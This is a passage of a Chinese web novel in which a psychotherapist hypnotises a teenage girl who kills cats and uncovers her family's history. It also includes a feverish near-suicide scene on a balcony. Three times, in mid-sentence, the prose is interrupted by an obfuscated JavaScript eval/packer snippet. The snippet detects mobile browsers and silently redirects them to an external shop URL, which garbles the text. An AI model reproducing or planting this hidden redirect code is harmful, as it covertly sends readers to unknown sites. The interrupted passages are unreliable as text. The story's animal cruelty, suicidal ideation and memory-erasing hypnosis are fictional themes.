经常被晒狗粮的虐早已见怪不怪,狗粮没闪瞎眼睛,倒被陈喆手腕上一只低调奢华的表给闪着眼了。 和莎莎手上那只款式一样,应该是一对情侣表,这只黑色底盘金色镶边,莎莎的是银色镶边,两只表闪着难以忽视的光泽互相辉影,冷酷中带着出自名门的高贵气质。 老高做咨询那会,出于好奇我恶补了所谓的奢侈品牌。 特别记得这个品牌是因为它的logo图案,很像小时候我家那扇又旧又锈的镂空窗花。 一辆中级车的价格。 我低头看了下自己在某品会上不到三百元的休闲鞋,暗暗腹诽莎莎这家伙真是一朵奇葩。明明可以做个做一个恃宠生娇的妖姬,却偏偏要做一个祸国殃民的昏君。 一个人到底是如何被塑造的? 一个父爱缺失的家庭,母亲是个半大不小的女孩,她是如何被对待,如何被教育,如何成长,并拿到一个大女主的剧本逆袭的,我好像以前从来没深思过莎莎到底是怎么长的。 “你在想什么想得这么入神呢?”莎莎手掌在我面前晃了晃。 我回过神来看见只有莎莎一个人:“陈喆呢?” “他说出去接个电话,神神秘秘的,不理他。”莎莎耸耸肩:“你在发什么呆?” “在想你。” 莎莎假装要喷水的样子:“如果不是这么熟,我会以为你受了情伤之后转性喜欢女人。” 我白了她一眼:“我在想你小时候到底是怎么长大的?” “什么怎么长大的?吃饭呗,总不能吃屎长的吧!” 我踢了踢她,有点哭笑不得:“我是真的好奇,你一个单身家庭出来的,怎么就会长得那么好?是家庭教育还是遗传因素?” 她这次真的是差点呛住了:“我天,还家庭教育,你觉得我娘是那么有文化的人吗?她自己都没成年生下我,天天跟这个男人混跟那个男人混,被抛弃了就回来撒泼打滚发酒疯,抱着我哭说男人没有一个好东西。” 她抽出一支细长的烟,斯条慢理的点燃吸了一口。 “那时我就想,我千万不能遗传那个样子,比路边的野猫野狗好不到那里去,活得那么贱,谁到可以踢一脚,太没意思了。” “所以你就发愤图强了?” “我还能怎么样?我既没有一个好爹,也没有一个靠谱的娘,只能靠自己喽。” “有时候这不一定是坏事,没有依靠意味着没有束缚,也意味着不被任何定义自己。” 我琢磨了一会,摇摇头:“如果按照我们心理分析理论,像你这种环境长大的,大概率会变成个问题少女,可是你并没有,所以你是个蛮了不起的人。” “什么了不起?其实我也做过问题少女,不过后来遇到了一个人。”莎莎神秘一笑。 陈喆刚好走了过来,她把烟拧在烟灰缸里:“那都是过去很久的事情了,以后有机会再跟你说。” 什么是问题少女呢?问题少女不过也是从一个普通小女孩转变而来的。 “你那天到底对我做的是什么?”椅子上的问题少女质问道。 “催眠回溯,你那天情绪有些激动,我给你催眠,是想帮你疏导情绪,毕竟太多的负面情绪会对身心很不健康。” “催眠?你想控制我吧。”她抬起下巴的样子让人想到遇到危险准备反击的蛇。 “如果我能控制你,现在你就不会这样对我这样了,我说什么你便得听什么对不对?可是你现在是很清醒的吧。” “可是我看过美国的一档节目,那个节目是科学实验,不是娱乐节目,催眠师在里面把一个普通人催眠成一个杀手,所以我觉得催眠是能控制人的。” 我点点头:“我知道你说的那个节目,我也看过。” 这个节目的确看似是一个科学性的大型综合节目,它首先从500名志愿者中选出高催眠敏感度的人,所谓的高敏感就是极度容易被暗示,也就是在生活当中你说什么都容易相信的那种人。 催眠师让这个被选中的人相信他只是在一个虚拟游戏中,并告诉他这个游戏规则是当他自己感到受威胁时,可以清除目标用来保护自己。 以上的这些条件设置,是让他能够解除道德和法律的障碍,毕竟,如果只是一场游戏,没有人认为自己真的在杀人。 所以催眠只是其中很小的一环,催眠师让红苹果触发催眠指令,让这个选中的人在危机的时候保护自己。 那个节目与其是催眠不如是一种多人做的骗局,催眠仅仅是用来触发联想的一小部分。 “用催眠控制一个人其实没有那么简单,我也并不具备这种能力,也没有谁值得需要用这种布局来陷害他。” 我耐心的解释:“我这种催眠至多就是让你敞开自己的心扉,看到自己产生情绪和问题的根源,是心理咨询的一个技术。” “那还挺无聊的。”她耸耸肩膀。 “抱歉,让你失望了。我们这是治疗式的催眠。” “你催眠我是觉得我有什么问题吗?” “不是有问题的人才需要被催眠,任何人都可以借助催眠来探索我们自己。特别在他的人生遇到问题的时候,潜意识既是问题产生的地方,也是解决问题的终点。” 她收起了外露的敌意,双手交握叠在颈后背伸展个懒腰:“你这人有点意思,反正以你的水平控制不了我,不找你我爸也要找别的人,问来问去都是些蠢问题,还不如你这里有趣些。” 这么配合让我有些意外,虽然说话仍带着小刺。 催眠里很多都是一闪而过的记忆碎片,勾着陈沭萱很多细微不舒适的回忆。 5岁的陈沭萱在麦当劳里吃一只价格亲民的白色奶油甜筒,她吃得很慢,雪糕化成液体滴在她柔嫩的小手上,母亲一边用纸巾小心的擦拭一边细声细语的劝慰道:“弟弟刚出世大家会多关注,正常的,过一段时间就好了。” “她真的好蠢。”小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826337|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沭萱心想,“怪不得会有后娘。” 6岁的陈沭萱换上一条新买的粉色公主裙,奶奶说父亲今天出差回来吃晩饭,她在电梯大堂的公共会客椅上等了好久。 橡皮泥在手里盘起细条又压成一叶叶花瓣,再被她一点点粘成一朵朵太阳花,方形大理石桌上第二十二朵太阳花,父亲的身影出现在玻璃门前的林荫小道上,她高兴的把花朵扫到塑料小桶上,奔过去拉住父亲的手。 父亲拍了拍她的头,和她一起上了电梯,陈沭萱紧紧拉着父亲的手,却在进屋的那一瞬间,手被放开。 陈沭萱看到那双手迎向那个丑东西,没有再看一眼她裙子上的蝴蝶结,也没有看到她脸上期盼的表情。 9岁的陈沭萱回到房间里,草莓色墙白色蕾丝窗帘,蝴蝶结拉手的衣柜,粉色升降学习椅桌,此时却被一道道五颜六色的划痕破坏,触目惊心的四分五裂。 她出离的愤怒,退无可退,避无可避,像童话里被恶魔打败的国王,领土不断的被侵犯被僭越。 那只小恶魔还在洋洋得意伸着舌头挑衅。 奶奶息事宁人:“弟弟还小不懂事,你是姐姐啦,让着弟弟点。” 她把目光投向难得在家的父亲,父亲仍看着电视,淡淡的说了一句:“明天让阿姨给你买张新的。” 新闻频道里播放着国际新闻大事,她又看向后娘,后娘正抱着弟弟,用宠爱的语气责怪:“都说让你别去碰姐姐的东西了,女孩子的东西有什么好玩的,你可是个男孩子呀?” 11岁姑姑去开家长会,新来的班主任问为什么不是父母一方出席。 姑姑说父母亲都太忙,一向都是她管接管送。 “孩子很优秀,学习成绩也好,有内驱力。” 她看了看在一旁冷冷不语的陈沭萱,欲言又止,最后还是含蓄的说:“但她不太爱跟同龄人交往,家长留意一下需适时引导。” 父亲听到姑姑的报告后冷冷一笑:“学习好就行了,其他细枝末节不用理会。记住,保持在前10名,不然丢我脸,拖后腿的数学,换一个能提分的老师。” 14岁陈沭萱寄宿在一间贵族学校,只在周六日像短期的候岛一样回家。 家早已不像原来的家,姑姑和奶奶不再把她当做小公主,而九岁的弟弟处在狗都嫌的年纪,但所有人都纵容他在家称王称霸。 陈沭萱已经学会把恶意收敛在内心,只是会不经意的说:“这成绩真让人丢脸。” 他们是天生的对头。 弟弟把惹怒她当作乏善可陈里生活的唯一目标。 被剪烂的心爱衣裙,被胡乱盖章的日记本,被乱画的桌子和墙壁。 弟弟有恃无恐:“又不是我,是你房间里的一只大黑鬼。” 奶奶息事宁人:“你是大姑娘,不要跟弟弟计较。” 姑姑事不关己:“兄弟姐妹都是这样的,越打感情越好。” 后娘虚伪劝架:“萱萱做姐姐最大度了,不要跟弟弟一般见识。” 陈沭萱愤怒的看着她们,这不是她的家。 她冲到楼下,在绿化得苑如公园的小区里乱跑,夕阳西下,小小的睡莲花池旁还有几个调皮小鬼,他们在用树枝好奇的戳一只奄奄一息的青蛙。 “怎么老是催这些无聊的事?”陈沭萱从催眠椅中冷着脸坐起。 “这不是我的选择,是你潜意识的选择。潜意识就像一片储存了所有回忆的海洋,记忆的碎片就像海洋里的鱼儿,捞起那一条鱼并不是由我决定,而是它触发了沉积沙尘里未被表达的情绪标签。” 被忽略的委屈,被取代的恐惧,被侵占的愤怒,在冷漠无所依靠的父系目光里暗自滋长,无声无息的变成一把刀。 那把刀第一次扎向一只恶心又丑陋的青蛙,让她感到了一种奇特的反抗的快乐。 难道这是她杀猫的原因吗?一位失宠公主愤怒的复仇记? 17. 杀猫05 “我总觉得你好像在催眠时对我做了什么。”她怀疑地说道。 “有时会引导你放下过多的情绪,改变一些你对事物的感觉,也帮助你更进一步理解自己。” “为什么我会不太记得?” “催眠状态下有点像快睡着又没睡着的状态,那时候不会特别想记得什么东西。” 她揉着头眨着眼睛,好像在极力回想什么:“这种感觉不太好,假如有什么秘密泄露了都不知道。” “假如有什么秘密你不愿意泄露的话,在催眠里你就会拒绝透露的,在催眠里我们只处理情感和情绪有关的问题,比如你很不喜欢你的弟弟,你愿意聊一聊这个吗?” “放心,咨询内容是保密的,我不会告诉你父亲。”我又加了一句。 “我弟弟?”她冷笑了一下露出厌恶的神情:“那个恶心的家伙,我是好讨厌他,每一次他来惹我,我都恨不得拿把刀把他捅死。”大概由于刚刚催完,她很坦率地流露出真实的情绪。 “因为他夺走了所有人的关注,也夺走了你父亲对你的爱?” 她紧紧抿着嘴,恨恨地说:“他那么垃圾,学习成绩又差,不就因为是个带把的吗?哪里比我好了,凭什么?” “不是因为他比你好,也许只是因为他还比较小,保护弱小是人类的本能。” “才不是,我奶奶亲口说的,他是弟弟,是我们家传宗接代的宝贝。”她咬牙。 “这种说法真让人感到不公平。” 她一脸愤恨:“带个把就了不起了吗?那么讨厌恶心,家里人个个都宠着他,好想捅死他。” “我感受到你愤怒的情绪,来自一种性别的不公。” “每次看到他,都好想打他,揍他,扁他。”她咬牙切齿。 “这是你愤怒感受下的冲动,你可以表示出来。” 我把一只抱枕递给她:“你可以想象这个枕头就是你弟弟。想象他最讨厌的样子,你想怎么样对他?” 她拿起抱枕一把摔到地上,跳到上面不停地踩踏,清秀的脸上显出几分狰狞之色。 那只可怜的抱枕被她花样百出的蹂躏,边角缝线之处跑出了些许白色的棉絮,像在张着嘴巴无声地呼救。 最后,她大叫着:“你去死吧!”,狠狠抬起腿一脚把抱枕踢向了角落。 假如这是一只猫,我不敢想象那个画面。 她坐回椅子上,喘着气,显然刚才的发泄消耗了不少体力。 “老师,你会不会觉得我是神经病?” “如果你过于压抑自己的情绪,不懂得正确疏导自己的情绪,长期下去有可能真的会变成神经病。” 她露出一丝鬼魅般的笑容:“我会找东西发泄的。” 想起那只猫,我暗暗打了一个冷战。 “你是说像在催眠里对那只青蛙做的那种事吗?我不认为这是正确的发泄渠道,因为即便动物不会说话,它们也能感受到痛苦。” 她的表情出现一丝懊恼:“我好像说了不少。” “也许因为你的潜意识需要我的帮助,比方说怎么有效又正确地疏导自己的情绪,像刚才那样,当你感觉到自己很强烈的情绪时,你可以找一个独立的空间尽情地发泄,只要不伤害任何的生命都可以允许的。” 她有点敷衍地笑笑。 “听说现在年轻人还流行去一种叫发泄室的地方,里面有多种发泄的方式,还可以把自己最讨厌人的名字写上去,类似以前扎小人,你不妨也去玩一玩。” “老师,我觉得你这些方法都不怎么高明。”她又露出那种讥讽的笑容。 “当然,这些不过是一种最基本的辅助手段,如果不能帮助你看到内心真正的问题,愤怒发泄完了,还有下一次愤怒,永远都会被同样的情绪所操控。” “那老师催了这么多次,还没有看到真正的问题吗?”她撇了撇嘴巴。 “看出一点点吧,你真正愤怒的原因并不是因为弟弟。” “厄勒克特拉公主为父复仇,联合弟弟杀死了母亲,以双亲血溅王宫为结局,这个古希腊神话的悲剧后来被心理学引申为恋父情结。” 上课的教授是个微胖和善的中年人,笑起来苹果肌堆起点小肉团,显得有点孩子似的坦率神气,资深的精神分析学派导师,专讲希腊神话各类悲剧延伸的心理情结。 精神分析一派认为神话是集体无意识的投射,厄勒克特拉对母亲的仇恨,可视为“反向形成”防御机制的体现,即通过极端行为压抑对母亲的矛盾情感。 “老师,我有一个问题,”前面一位穿豆绿薄西服的女士举手。 教授和气地点点头。 “什么是反向防御机制?具体的表现是什么?” “这个问题问得很好,正是我接下来要说的。”教授鼓励似的微微一笑。 “矛盾情感的核心特征是同一对象引发两种相反的情感体验,比如女儿对母亲一方面有天然的依赖需求,但在成长过程中对父亲的崇拜和渴望,又会对母亲产生竞争和妒忌的情感,为避免这种道德焦虑,女孩可能通过攻击母亲或盲目顺从来掩盖……” 人类的情感其实很矛盾又复杂,我们常常用一种真相来掩盖另外一种真相。 比如表面上是婆媳矛盾,实际上是夫妻关系的问题,表面上是夫妻的问题,实际上是与父母之间的问题。 “你的弟弟的确很讨厌,可是更讨厌的是家里人的态度,包括你的父亲。” 陈沭萱的笑容里带着尖刺一样的防卫:“老师你还真能掰。” “如果不是因为他们的宠溺和偏爱,弟弟怎么又会变成这个样子?这难道不是你的心里话吗?” 她似乎被噎了一下,没有反驳。 “你被隔离在这个小团体之外,始终无法融入那个家,感觉自己是个多余的人。” “别说了。”她粗鲁地打断我,那些尖刺都化成了盾牌。 “或许她们都不重要,重要的是父亲为什么也是这样对待我,我这么努力了,我尽力让自己优秀了,为什么还是看不见我?” 她突然一拳砸向桌子,生气地说:“我都叫你别说了。”然后站起来离开了咨询室。 我觉得自己可能有点操之过急了。 一直沉默是金的母亲终于出现了,风尘仆仆地解释:“姑姑近几日才告诉我,我现在不在深市了。” 陈沭萱和母亲不怎么相像,母亲戴着一副无框的眼镜,脸有点圆,眼睛也圆,有种中年妇女的微胖,又有一种被生活打磨的疲惫。 “姑娘什么都不想跟我说,可能一直没有带过她,跟我很生分。” 她来了两天,和陈沭萱她们住的是同一家酒店,却没找到机会沟通,母女两人距离比陌生人还遥远,她束手无策失落地叹了一口气道:“我都不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826338|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该做点什么。” “青春期的孩子是意识逐渐独立的过程,对父母不理不睬也是很正常的,但你来了是一种表明还在关心她的态度。” 她扯了一下嘴角,无奈地道:“她不理我,不是因为青春期,是因为从小就没有陪伴她。” 的确,如果陈沭萱在母亲的身边,也许情况会很不一样。 “小时候你为什么没有争取把孩子带在身边呢?通常法院会把孩子判给母亲。” 她略微窘迫地低下头:“我当时身无分文,萱萱爸爸是律师,比较有经济能力,奶奶又可以抚养,我父母不支持我离婚,他们觉得我好不容易到这么条件好的夫家。” 虽然只有短短几句话,我却能想象得到,一位离异没有经济能力的单身母亲,也没有任何后盾的支持,她孤身一人,甚至还在哺乳期。 她应该怎样生存? 又怎样做才是对孩子最好的安排? 而对方是一位律师,工作优越,经济宽松,孩子可以交给奶奶和妹妹抚养。 “你的苦衷有和陈沭萱沟通过吗?” “有是有,但她那时候太小也很难理解吧,我也并不想说太多关于他父亲不好的话。” 我点点头,不在孩子的身边,无论怎么解释就只会让她有种被抛弃的感觉。成人权衡利弊多方考虑,又有身不由己的苦衷,孩子只在乎父母爱不爱我,在一起就是爱,不在一起就是不爱。 也许人间种种的悲喜不相通,是因为彼此的理解不在同一种层次。 “是因为我从小不在身边萱萱才会变成这个样子吗?”她小心翼翼地问。 我摇摇头:“不一定,生命是一个很复杂的过程,人的成长轨迹不是受某一个单一原因影响的,只是萱萱的成长环境有些复杂,她需要面对的东西很多。” 她很忧愁地叹道:“麻烦老师帮我多开解开解她,我很担心。” “不知道她还愿不愿意来,我们的咨询并不是很顺利。” “其实老师您是她咨询最长时间的,我们一定会把她劝过来的。” 但再一次见到陈沭萱,我毫不意外看到她气鼓鼓的神情。 “抱歉,假如我上次说话冒犯到你,我向你道歉。” 她瘫坐在椅子上双手抱肩:“就算你说对了我还是很生气。” “所以你生气恰恰因为我说对了?” “说对了又怎么样,你又不能真的帮到我。” “还是有帮助的,至少我相信你再一次面对弟弟的时候,不会再向他投射那么多的愤怒,你也会越来越知道如何正确处理自己愤怒的情绪。” “那又怎样?你又没办法改变我的不公平。” “改变不公平不是我而是你,与其改变,不如超越。” “超越?” “超越他们对待女性的看法,他们的思想还停留在农耕时代以男性为尊的过时想法中,你看到这种不公平,你可以接受他们对局限的想法,但不代表你认同这种想法,也不代表你是不值得被爱的。” “老师,你不觉得你是个鸡汤大师吗?你还不如把我深度催眠再灌鸡汤算了。” 她愿意被深度催眠倒是好事,我没有打算灌鸡汤,我的方案是在深度催眠当中,处理她与父母之间的关系。 只是我万万没想到,这个催眠远远超乎我的意料,并且可能是她杀猫虐猫的真正原因。 18. 杀猫06 “……你会感到很放松,当我数到1的时候,你就会沿着这条长长的时光隧道,回到一个更加久远的时空……” 一个人能否进入深度催眠是有前提条件的,首先这个人是否具有高催眠易感性,即想象力丰富、易沉浸于白日梦、对暗示敏感等,然后与引导者建立比较信任的关系,比如需要3—5次前期浅催眠训练。 在深度睡眠里,有时会发生一些奇妙的现象,这是意识完全无法理解的事情。 比如陈沭萱此刻…… 她的意识飘到一座陌生的房子里。 蓝色碎花布艺沙发,原木地板散发温暖的质感,餐桌上垂下一盏藤艺灯球,一派宁静氛围的田园风格。 她为什么会来到这里?正当感到疑惑的时候,突然听到了一把熟悉的声音。 一个脸色铁青的年轻男人,他的对面也站着一个年轻的女人。 陈沭萱吃惊地发现,这两位年轻的男女,竟然像她的父母亲。 陈沭萱有点呆愣,印象中从来没有见过他们这么年轻的样子。 父亲的脸上非常光滑,没有一丝皱纹,但表情跟现在一样,冷淡而严厉。 母亲看起来更年轻,圆润饱满的脸蛋,油亮的发挽了个很精致的发髻,戴着一副无框的眼镜,比现在年轻漂亮多了。 但此时的她看起来却有一些狼狈,一缕湿湿的刘海贴在额前,眼睛通红泛着血丝,脸上挂满了泪痕。 “为什么?为什么要这么做?”母亲看起来非常痛苦。 “有什么为什么?我喝醉了,她勾引了我,你满意了吗?有什么好问的,你聪明点可以当作不知道。”父亲仍然保持严厉和冷淡。 “你是我的丈夫,她是我的闺蜜,做出这样的事让我当作不知道?”母亲提高了音量,尖锐中带着沙哑。 “我说了是喝醉酒,你怀了不能喝,她陪我多喝了点,总之我跟她说我不会和你离婚,你纠缠不清,对你有什么好处?”男声越来越不耐烦。 “你一点也不觉得你错吗?你这是出轨,还是孕期出轨。” 陈沭萱从来没看过母亲如此声嘶力竭,印象中的母亲经常是唯唯诺诺的。 “你有什么证据?你是偷拍了还是抓现场了?拿来给我看看!” 母亲张了张嘴,瞪大的眼睛像一只掉进陷阱的兔子。 “什么都没有对不对,离婚对你有什么好处?你没有工作朝不保夕,离了婚孩子也得归我,她就是想挑拨离间,见不得你好,你吵吵闹闹不就让她得偿所愿?” 陈沭萱感觉到女人脸上好像挨了一个无形的巴掌。 “不要像个泼妇一样,你本来就不聪明,还像个市井女人就太不好看了,聪明的女人一致对外同舟共济,我越好你也越好,我最近在竞争合伙人,你不要烦我。” 女人不知道是惊讶还是没有力气了,呆呆地坐在沙发上默默地流着泪,男人烦躁的点了一支烟。 “你只要不闹,你还是这个家里的女主人,把我的名声毁了,你也不会有什么好处。” 阳台有烦人的风吹进来,把女人的裙摆吹得轻微地晃动,黑白波点的裙子很宽大,给予隆起的腹部游刃有余的空间,像一幅被定格了的忧伤雕像。 陈沭萱想靠到母亲那边去,但潜意识又让她飘到另一个场景。 穿着淡绿色裙子的年轻母亲在街道上慢慢地走着,一辆车差点撞到神思恍惚的她,司机伸手摇下车窗骂了几句开走了,母亲似乎回过神来打了个电话。 年轻的母亲在一个公寓门按门铃,一位差不多年纪的女子开了门,神色复杂地闪身进内。 “为什么?我一直等你解释。”年轻母亲没什么表情。 女子没有说话。 “你明知他是我老公,你明知道我快生了,你到底想怎么样?” 女子终于回应:“就是一时糊涂。” “不可能,你怎么不跟街边的混混一时糊涂?你就是故意的,你就是处心积虑的。我到底哪里对不起你?” 女子恼羞成怒:“对,我就是故意的,你哪里比得上我?他不过就是看着你温顺好糊弄,你以为他真的爱你吗?好可笑。” 一身花点的猫似乎被吵醒了,从窗台跳到沙发上,看了看针锋相对的俩人,似乎在评估到底帮谁,但又似乎觉得人类太无聊,伸了个懒腰钻进沙发底不见了。 年轻母亲看了一眼那只猫,眼里痛心大于愤怒:“这只猫还是我送给你的,你太恶心了,我把你当做好姐妹,好朋友,你却背后捅我一刀。” 我瞠目结舌,不是因为这种连地摊小说也不会再写的烂大街剧情,而是这是陈沭萱的催眠,这个记忆里没有关于陈沭萱本人的场景,那她应该还在母亲的肚子里。 目前科学研究尚未明确证实人类在母体时就具有完整意识,但新生儿对母亲在怀孕期间经常听的音乐表现出明显的熟悉感,不仅在心跳、呼吸等生理反应上,还表现在愉悦或放松的情感反应上。这一现象证明了胎儿期的意识和记忆的存在,也验证了意识或灵魂在生命的早期阶段就已经具备某种形式的记忆存储能力。 但是如此生动且详细地记忆,还是让人有一种不可思议的感觉。 是不是陈沭萱网剧看多了?潜意识以一种奇怪的组合元素像做梦一样表现。 我再一次联系了陈沭萱母亲。 “你可以聊聊你跟陈沭萱父亲是怎么分手的吗?” 她的眼神有种难以理解的茫然。 “为什么问这个?事情都过去了那么久。” 我也有点语塞:“我只是有一个推测,但很难解释,如果你不是很为难的话,希望你能够回答我。” 她迷惑不解地眨了眨眼睛,像眨去久远又不太愿意回忆的过往。 过了好一会儿她才扶扶眼镜,有点难以启齿地说:“就是我怀孕那会儿他出轨,还是出轨我的闺蜜。我无法接受,所以生下她之后不到几个月我就申请了离婚。” 尽管有心理准备,我仍然有种难以消化的惊奇感。 “请你不要把这件事告诉萱萱,我并不想她知道父亲是这样一种人。” 假如她听到陈沭萱深度催眠的内容时会不会晕过去。 难道潜意识真是无所不知吗? 可那是属于她母亲的记忆,在她痛恨闺蜜背叛的时候,一只属于猫的画面跳了出来,所以两者之间就产生了关联? 越解读越迷茫,但似乎又能解释为什么陈沭萱对猫和朋友会有如此奇特的态度。 「猫这种动物最会惺惺作态,平常好像很温顺,但冷不丁就会抓伤你或许反咬一口」 在催眠快结束的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826339|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的指令是把这一段记忆淡化掉。 “这些事与你无关,让这些记忆淡化掉消失掉吧,让它们不再影响你,你的母亲也早已放下了,它们不应该再成为你生命的主宰。 东西有好有坏,朋友也一样,好的朋友也可以给人生带来很多温暖的感觉……” 陈沭萱醒来时有些懵懂。 “老师,你到底对我做了什么?怎么这次我更迷糊了,好像做了个梦醒来全忘了。” “大概潜意识认为这些记忆已经不重要了吧。” 她揉着头说:“这次催眠有点头痛的感觉。” “深度催眠有可能会让身体稍有不适,休息一下就好了。” 她喝了水,动了动身体,缓解在催眠里因为过于放松而变得呆滞的手脚。 “老师,我突然想明白很多东西。” “想明白了什么?” 她却露出一个狡猾而诡异的笑容。 此后,我再没有见过她。 姑姑却很高兴地发微信:“萱萱说回校上课了,说明治疗很有效果,谢谢老师。” 又过了一段时间,姑姑又留言道:“萱萱说打算去日本上学,已经通过了申请,全家都很开心。” 我不明白陈沭萱什么会想到在那个国家留学,无端端想起电影《午夜凶铃》,一个有超能力的女孩被父亲杀死而积怨在心,最后大面积迁怒而无差别的杀人,从电视里鬼魅的爬出来时,吓疯好多人。 我拍了一下额头,想什么呢,一个人的夜晚自己吓自己。 霜气在玻璃窗上结成一个秋深意浓的印记,屋里根须粗壮的龟背竹也被侵入的风微微晃动。 为了转移注意力,我拿起那本课堂笔记,字迹有点潦草。 厄勒克特拉的故事原型是这样的:她们这一家子之所以产生矛盾,是由于父亲为了给神赔罪,把自己的长女献祭出去,母亲因此怀恨在心。 所以当父亲打胜仗回来时,母亲才伙同自己的情人杀了丈夫,一是为长女复仇,二是为了夺权。 厄勒克特拉因此对母亲怀恨在心,后来向母亲复仇,杀死了母亲和埃癸斯托斯。 弗洛伊德从这个故事中看到了女儿对父亲的深厚情感以及对母亲的敌对态度,他认为“恋父情结”是指女儿亲父反母的复合情结,是女孩在成长过程中可能会经历的一个心理阶段,所以用厄勒克特拉的名字来命名这种心理现象。 其实我认为这种观点还是有点扯,女孩天性不一定会有恋父情结,与其恋父,不如说通过恋父实现对权力的崇拜。 不过最扯的并不是这一部分,而是这个故事后续的发展。 雅典娜主持的法庭审判中,控辩双方就“为父复仇是否正当”展开激烈交锋,最终雅典娜以“维护男性权利”为由判二人无罪。 「维护男性权利」 为何神话故事竟然如此现实得让人触目惊心。 男性拥有的天赐神柄使任何错误最后都由女性来承担。 我把笔记无趣地扔到了一边,看这种无聊的理论真不如洗洗睡觉去。 睡觉最舒服了,脑袋清空,充分休息,第二天才能神清气爽迎接新的一天。 不过我没想到有一天,睡觉这么平常的事也会让我掉进恐怖版的爱丽丝梦游记,不过那又是另外一个故事了。 19. 循环01 一只巨大无比凶相毕露的猿猴出现在我眼前,灰暗的毛发根根缕缕,丝丝分明,它的眼睛如冷硬的铜锣目光灼灼,似有奇异的魔力让我动弹不得。 那目光就像暗流里张开的漩涡眼,周围的一切都被旋转着,冲击着,被吸纳进邪恶的灰暗的未知空间。 我感到一阵阵的头晕目眩,身体冰冷,整个人撞进那双冰冷的目光,身不由己被吸进暗流当中。 无数的猿猴,无数的毛发,无数双眼睛,一层层的穿越,一层层的坠入。 心跳加速,呼吸困难,冷热交替,我在黑夜中挣扎着睁开了眼睛,只看见了把一切都吞噬了的黑暗。 我不是在做梦,全身发热骨头疼痛却无法入眠,极度疲累,却在一闭上眼睛就掉进了一双眼睛,穿越过后又进入了另一双眼睛,一样黑暗如深渊,一样让人惊惧的恶龙。 无限次循环,不停地像是被谁按住强迫玩极为惊恐的过山车,神识被反反复复搅拌碾压直到筋疲力尽。 一整夜,每一秒。 只要闭上眼睛,我如在玩一个3D一样逼真清晰的游戏,掉进那团暗色漩涡里,有时是一条灰暗的恶龙,一样的眼睛,一样的毛发,一样没完没了的开始又结束。 我用最大的力气强撑着眼睛,可是过于疲劳的□□和精神,使得上下眼皮像两块强力互吸的磁铁,不到一分钟便不由自主地合在一起。 然后就如爱丽丝掉进了兔子洞。 我掉进了一双双恐怖的眼睛里,一只可怖的猿猴和恶龙,反反复复。 这是幻觉,这是幻觉,这是幻觉,我撑着疲惫不堪意识里最后一丝清明提醒自己。 是谁说过,只要意识到是幻觉,幻觉就会消失。 但是不管用。 这痛苦不堪的一夜,每一秒都像太阳以最偏斜的角度照在杆子上,把时间的影子无限的拉长,让折磨锁在里面来回碾压。 清晨六点多浓黑的天空裂开一丝淡淡的微光,长夜即将过去,可是那强撑的意识已薄如蝉翼,犹如一片落叶飘零在崩溃的漫天海啸中。 我一步一步慢慢挪到阳台,九楼高度的风可以轻易将一只风筝送上更高的天空,楼下树影重重叠叠如巨大灰屏将真实的世界隔绝开来。 我不知道自己到底是想在风中透透气还是想象风筝一样自由,我只知道我已经无法忍受了。 “放弃吧,一切都是徒劳的,何必挣扎?” 我昏沉的脑袋分不清这是声音或只是想法,只觉得它如在沙漠里长途跋涉的旅人看到一杯水那样具有诱惑性,水就算有毒也比渴死强。 我伸手摸向那黑色微微掉漆的铁栏杆,指尖传来被暗夜裹挟了一宿的金属冰冷,似乎稍稍让体内的温度往下降了一丝丝。 可那句话仍带着诱惑反复地回荡,冲击着我本就不堪一击的神经系统。 时间在混沌中失去了快慢的质感,浑浑噩噩的头脑徘徊在将要不要之际,就像黑夜将尽白昼将至那一段迷途交会之际。 突然,一缕浅金色的阳光如天神的利剑从天边破晓而出,混沌、迷途、浑噩一刹那被一股神秘的力量驱赶,把散落在不知何方的三魂七魄强制惊醒归位。 我看向下面逐渐清晰的树叶,惊出了冷汗。 这是上周一个夜晚发生的事情,我坐在咨询室里呆呆地看着精致小巧的多肉盆栽,椭圆水滴一样的碧绿珠叶盘成莲花的形状,却无法给予我什么启发性的觉悟。 一周前我生病了,刚开始以为是感冒因而不以为意,头昏脑涨强打精神做咨询,后来有一天傍晚回来时淋了一点小雨,晚上便开始发烧。 成年人是很少发烧的,免疫力早已在千疮百孔的生活里锻炼出皮糙肉厚。 我不单只发烧了,并且连续烧了三天,吃降烧药也不管用,最后居然烧出了一出惊心动魄,差点酿成悲剧的幻觉。 这个奇怪又惊恐的夜晚已过去了七天,却仍像乱成一团消化不良的草梗在我头脑里来回反刍。 我可是学心理的,比一般人能区分什么是幻觉。 事实上我给自己做了好几轮的心理测试,没有精神分裂的前兆,不是幻听幻觉。 